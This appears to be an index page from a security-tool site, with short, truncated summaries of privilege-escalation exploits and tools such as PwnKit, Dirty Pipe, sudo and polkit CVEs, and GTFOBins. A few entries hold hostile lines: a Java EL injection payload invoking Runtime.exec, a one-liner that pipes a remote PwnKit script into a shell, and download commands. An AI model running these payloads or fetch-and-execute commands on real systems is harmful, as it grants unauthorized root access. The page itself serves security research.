S4UTomato

S4UTomato Escalate Service Account To LocalSystem via Kerberos. Traditional Potatoes Friends familiar with the "Potato" series of privilege escalation should know that it can elevate service account privileges to local system privileges. The early exploitation techniques of "Potato" are almost...

RegPwn

🛠️ RegPwn - Windows Local Exploit Tool RegPwn is a tool designed to demonstrate a local privilege escalation LPE exploit on Windows systems. It works on Windows 10, Windows 11, and Windows Server versions. This guide will help you download, prepare, and run RegPwn on your Windows computer safely...

CVE-2020-10199

Nexus Repository Manager 3 Vuln Affected versions: = 3.21.2 CVE-2020-10199, CVE-2020-10204, CVE-2020-11444 CVE-2020-10199 Remote Code Execution Echo PoC No Echo PoC $\A''.getClass.forName'java.lang.Runtime'.getMethods6.invokenull.exec'touch /tmp/cve-2020-10199' Normal User Privileges...

Penetration_Testing_POC

PenetrationTestingPOC Collect and share POCs, scripts, tools, articles, and other techniques used in penetration testing, as a note. Contributions welcome. Please note that all tools may have backdoors or other anomalous behavior; it is recommended to operate in a virtual environment...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center Local Privilege Escalation - Arbitrary File Overwrite Vulnerability Vulnerability Summary A local privilege escalation vulnerability on Windows OS has been identified in MSI Center versions = 2.0.36.0, which allows a low-privileged user to arbitrarily overwrite or delete...

EUVD-2026-82768

HCL BigFix Service Management is affected by a high-severity Broken Access Control vulnerability, which could allow a low-privileged user to gain unauthorized access to administrative screens and functions reserved for higher-privileged roles...

CVE-2025-32463_chwoot

CVE-2025-32463sudochwoot Declaration: This script is only for security testing and should not be used for illegal purposes. CVE-2025-32463 sudochwoot privilege escalation vulnerability verification script Description Compared to other POCs available on the Internet, this script takes into account...

CVE-2024-57394

CVE-2024-57394 A vulnerability was identified in the Qi-ANXIN Tianqing Endpoint Security Management System tested on version 10.0. This vulnerability allows low-privilege users to restore a quarantined file to an arbitrary location, such as C:\Windows\System32. An attacker can craft a malicious D...

CVE-2022-1015

CVE-2022-1015 root@kitploit: id uid=1000d gid=1000d groups=1000d ./poc + unshare done table created: leaktable chain created: leakchain rule added Listening on port 9999 table created: leaktable chain created: leakchain rule added Listening on port 9999 kerneladdress: ffffffffb4a00000 kernelstack...

modifyCertTemplate

Purpose This tool is designed to aid an operator in modifying ADCS certificate templates so that a created vulnerable state can be leveraged for privilege escalation and then reset the template to its previous state afterwards. This is specifically designed for a scenario where WriteProperty righ...

PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

below-log-race-poc

below-log-race-poc CVE-2025-27591 Exploit Below privilege escalation Description This repository contains a proof-of-concept exploit for CVE-2025-27591 , a privilege escalation vulnerability in the below utility. The issue arises because below mishandles log files under /var/log/below/, allowing...

CVE-2022-0847

CVE-2022-0847 Description - POC for CVE-2022-0847: Linux Kernel Local Privilege Escalation Vulnerability. - create by antx at 2022-03-08. Detail - Security researcher Max Kellermann responsibly disclosed the 'Dirty Pipe' vulnerability and stated that it affects Linux Kernel 5.8 and later...

CVE-2025-29824

🔥 CVE-2025-29824 Zero-Day Exploit 🔥 Welcome to the dark heart of cyberspace, where ethical boundaries bend under the weight of forbidden knowledge. This repository contains a proof-of-concept PoC exploit for CVE-2025-29824 , a use-after-free UAF vulnerability in the Windows Common Log File System...

CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on Ubuntu 20.04 against sudo 1.8.31 All research credit: Qualys Research Team Check out the details on their blog. You can check your version of sudo is vulnerable with: $ sudoedit -s Y. If it asks f...

CVE-2020-3153

CVE-2020-3153 Cisco AnyConnect 4.8.02042 privilege escalation through path traversal Description The auto-update feature of Cisco AnyConnect is affected by a path traversal vulnerability. An attacker can exploit this vulnerability to gain system level privileges. For more details, please refer to...

linux-smart-enumeration

First, a couple of useful oneliners ; root@kitploit: wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh root@kitploit: curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo...

GTFOBins.github.io

GTFOBins GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. Find the project at: gtfobins.org...

copy-fail-CVE-2026-31431-detection-probe

Linux Kernel LPE Probe Suite — Copy Fail & Dirty Frag Safe detection tooling for two related Linux kernel local privilege escalation vulnerability families — Copy Fail CVE-2026-31431 and Dirty Frag CVE-2026-43284 / CVE-2026-43500 — both affecting all major distributions since 2017, both exploitab...

CVE-2021-3560-Authentication-Agent

PolicyKit CVE-2021-3560 Exploit Authentication Agent Technology Details Blog posts about this exploit : https://ricterz.me/posts/2022-04-28-a-new-exploit-method-for-cve-2021-3560-polkit-linux-privilege-escalation.txt...